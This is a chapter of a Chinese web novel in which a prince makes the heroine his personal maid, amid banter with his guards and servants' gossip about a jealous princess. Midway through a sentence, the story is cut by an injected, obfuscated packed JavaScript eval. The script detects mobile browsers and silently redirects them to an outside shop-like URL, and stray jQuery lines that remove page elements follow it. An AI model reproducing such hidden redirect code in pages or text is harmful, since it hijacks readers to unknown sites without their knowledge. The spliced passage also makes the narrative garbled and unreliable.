26. 第26章 贴身侍婢

作品:《王妃的求生日常

    门被费齐打开,看清来人,惊讶道:“边月姑娘?”


    “嗨,好巧。”边月干笑两声,略显尴尬。


    姜炎指缝夹着与刚才一样样式的飞镖,皱着眉头:“费齐,她是谁,为何在门外鬼鬼祟祟的?”


    费齐脸望着边月说话,却拿眼睛瞟着自家王爷,斟酌道:


    “边月姑娘是王爷的救命恩人。”


    “就她?”姜炎一脸不可置信,上下打量,嗤笑一声,“就这么个弱不禁风、手无缚鸡之力的深闺女子,也敢妄称是王爷的恩人?费齐,你是不是脑子傻掉了?”


    边月冷哼,她怕应华可不代表她怕其他人。


    “狗眼看人低。”


    姜炎是个炮仗脾气,一点即燃:“你说谁是狗?”


    他声音太大了,边月嫌弃的捣了捣耳朵,用气死人不偿命的语气道:“谁急着应声,谁就是咯。”


    姜炎气结,还欲发作,一个略带警告的声音适时从他身后传出,截断了他的动作。


    “姜炎。”


    他身形一僵,愤愤不已,却也不敢忤逆王爷的话。


    应华站在书案里头,握着毫毛,似在写什么东西。


    “你怎么来了?”


    边月呃了一声:“……难道不是王爷让徐老传话,说有事寻我吗?”


    这人真是贵人多忘事啊。


    应华指尖轻点额角:“哦……好像是有这么一回事。”


    他摆了摆手,继而吩咐道:“你们两个先退下。”


    “是,属下告退。”


    姜炎走之前还不忘狠狠地瞪了她一眼,无声地比了个口型。


    等着。


    边月冲他做了一个鬼脸,便直接进入屋内。


    屋内陈设简单,紫檀长案上堆叠了不少公文卷宗,文房宝墨一应俱全,墙上还有字画古玩,看样子这应是他的书房。


    “不知王爷找我何事?”


    应华瞧着她眨巴眨巴那双秋水双眸,一副乖巧的模样,眼底划过一丝极淡的笑意。


    “你便没有什么想问本王的?”


    边月探看了一眼男子神情,眼睛咕噜咕噜地转,一时间猜不透他是何意思。


    问什么?问他为何骗人,还是问那南昭公主的事?


    “没有。”边月斩钉截铁。


    应华挑眉:“一点也没有?”


    “绝对没有。”


    眼见男子越走越近,边月吞了口唾沫,跟龟似的悄悄往后挪动几步,然身后是门板,她退无可退。


    男子身上冷冽好闻的龙涎香扑面而来,萦绕在她的鼻尖,闻之欲醉。


    那绝世无双的脸也离她越来越近,边月不得不承认,这人简直是集天下万千的宠儿,得天独厚,勾魂摄魄,她从未见过长得比他还惊心动魄的男子。


    她一时痴了。


    应华很是受用她的眼神,他微微俯身,温热的气息吐露在她的耳边,激得边月浑身战栗。


    “边月,我是不是说过……你最好别落在我手里。”


    一句话,打破了所有的旖旎。


    边月猛地回过神,恨不得给自己一巴掌,这阎王都要来算账了,自己居然还被美色所惑!这简直是色令智昏啊啊啊!


    她嘿嘿一笑:“王爷,那些天我照顾您,就算没有功劳也有苦劳对不对?”


    应华点头,像是同意了她的话。


    “我就知道王爷心胸宽广,风光霁月,定然不会与我这等小女子计较。”


    “我还没说完。”


    应华拿起案上的一封奏折,轻轻敲了一下她的脑袋,似笑非笑道:“本王身边缺个研墨奉茶的人。从明日起,你便来做我的贴身侍婢。”


    “……啊?”边月愕然,笑容僵在脸上。


    “怎么,不愿?”应华凤眸微眯,流露出危险的气息。


    边月身子已然木了半边,还是不死心的争取:“王爷,咱当时不是说好我以女医的身份入府……”


    怎么治着治着,把自己给治成丫鬟了?


    应华弯唇:“我改主意了,不行吗?”


    边月看着那张欠揍的脸,心中犹如万马奔腾,呵呵一笑,你是大爷,你说的都对。


    她回到落月院,后知后觉气得那是顿足捶胸。


    秋绥和冬禧正收着碗筷,纷纷不解,怎么出去了一趟就成这样了。


    “小姐,这是怎么了?王爷寻您何事?”


    边月一叹,有气无力道:“无事,我先回房了。”


    接连几日,府中下人都惊讶的发现,那位住进落月院的姑娘,竟日日伴在王爷身侧出入书房,且一待便是大半日,一时间议论纷纷。


    廊檐下,几个洒扫丫鬟趁着歇息的功夫,凑在一块说话。


    “哎,你们说,那位姑娘莫不是哪家权贵送给王爷的宠姬吧?”


    “我看像,若非如此,哪家人能生得这般好看?那身段,那眉眼,我一个女子看了都心动,更别说王爷了。”


    一个年纪稍小的丫鬟满脸笑容,双手捧心道:“你们还别说,我远远瞧见过一会,她跟咱王爷站在一起的时候,简直就像画里走出来的一对璧人!”


    “是啊,而且这位姑娘性子也好,活泼灵动,跟王爷一静一动,甚是般配,若她能做咱的王妃……”


    另一个年纪大一些的丫鬟脸色大变:“找死吗?这话若是传到云安郡主的耳朵里,仔细你的皮!”


    提及这个名讳,原本轻松的氛围一扫而空,所有人的脸色都变了。


    “云安郡主是谁啊?”边月正准备拿着糕点回书房,沿路听到丫鬟们在窃窃私语,不禁好奇。


    那几个丫鬟被吓得浑身一哆嗦,悻悻地低下脑袋不敢多言。


    边月咬了一口手中的桂花糕,含糊不清道:“我又不是那郡主,又不吃人,你们怕什么?”


    她看着领头的丫鬟:“你们方才说的云安郡主,很凶吗?她是喜欢王爷吗?”


    领头丫鬟怯怯地抬眼,抿唇了半晌才说道:“姑娘有所不知,云安郡主乃是荣禧长公主的心尖宠,自小便心仪王爷。她性子……极是骄纵,平日里除了王爷,谁的账都不买。若是让她知道姑娘住在落月院,怕是……”


    那丫鬟没敢继续往下说,边月也懂了个大概,自古蓝颜祸水,大抵说的就是如此吧。


    书房内。


    应华正低头批阅公文,听见推门声抬起头:“取个糕点竟去了这么久,我还以为你迷回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047983|193723||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卿园去了。”


    边月吐舌,一开始她确实有在好好的磨墨,只是这太无聊了,他又不肯放她走,她只好借口一会儿说要上厕所,一会儿说渴了想喝茶,一会儿又说饿了想吃糕点。


    不过她才不会傻到承认。


    边月将碟子往案上一搁,哼哼道:“谁让你这王府这么大,修得跟迷宫似的,走都得走半天。”


    应华瞥了一眼盘中少了小半的糕点,唇角轻扬,下巴点向砚台:“吃饱了?那便继续。”


    边月再想不出什么逃跑的借口,只得认命的挽起袖子开始磨墨。


    正午的阳光洒在两人身上,给书房蒙了层暖金,两人身后影子拉的极近,交叠缠绕在一处,颇有几分岁月静好的模样。


    应华批完了一本折子,侧首看她。


    少女低垂着眉眼,浓而卷翘的睫毛在眼睑投出小片阴影,金光洒在她面上,更添了几分恬静。


    “力道重了。”应华忽然开口。


    少女依言放轻了手劲。


    “力道轻了。”


    少女加重了几分。


    “又不匀了。”


    边月忍无可忍,将墨锭一伸:“王爷到底想怎样,这也不行那也不行,要不你直接来?”


    应华忽然起身绕至她身后,宽大的掌心包裹住她的手背。


    “心要静,手要稳,磨墨如磨心。”


    男子的声音柔在耳畔,边月一颤,周围笼罩着他的气息。


    她脑子嗡嗡。已然听不清男子在说什么了。


    “王爷!!”是姜炎那个大嗓门。


    一句话将所有的旖旎打破,边月触电般的缩回手,装模做样的左右乱看。


    “进。”男子声音恢复了一贯的清冷。


    房门被推开,费齐与姜炎一齐进入。


    姜炎一眼便瞧见边月面色微红,眼神闪躲地站在案旁,警铃响起:“你这妖女,怎么在王爷的书房里?”


    他怒了,这妖女定是仗着有几分姿色,想趁他们不在时行那狐媚惑主之事!


    他绝对不允许此事发生。


    边月嘻嘻一笑:“王爷允的,你若是不服,不如去问王爷?”


    姜炎还想争辩,被应华冷声打断。


    “何事?”


    费齐看了一眼边月,欲言又止。


    边月喜上眉梢,笑容压都压不住,她觉着费齐实在太可爱了,她终于可以走了!


    “那……”


    “不必。”


    应华霍然开口:“你是本王的贴身侍婢,无需避讳。”


    边月本是不想听的,但转头瞧见姜炎的脸色变得难看起来,玩心大起。


    她收回脚步,大喇喇地站回原处,还冲姜炎扬了扬下巴。


    我就听,气死你。


    姜炎气得胸膛起伏,却又无可奈何,恨恨偏过头去。


    这妖女,他定要找机会要她好看。


    费齐道:“王爷,边关刚收到急报。南昭使团在途中突然放缓了行程,预计要比原定时间晚几日入京。”


    “为何?”


    “这次随行的队伍里,不仅有清河公主和南昭国师,还有……”


    “还有齐鲁国的大皇子齐墨。”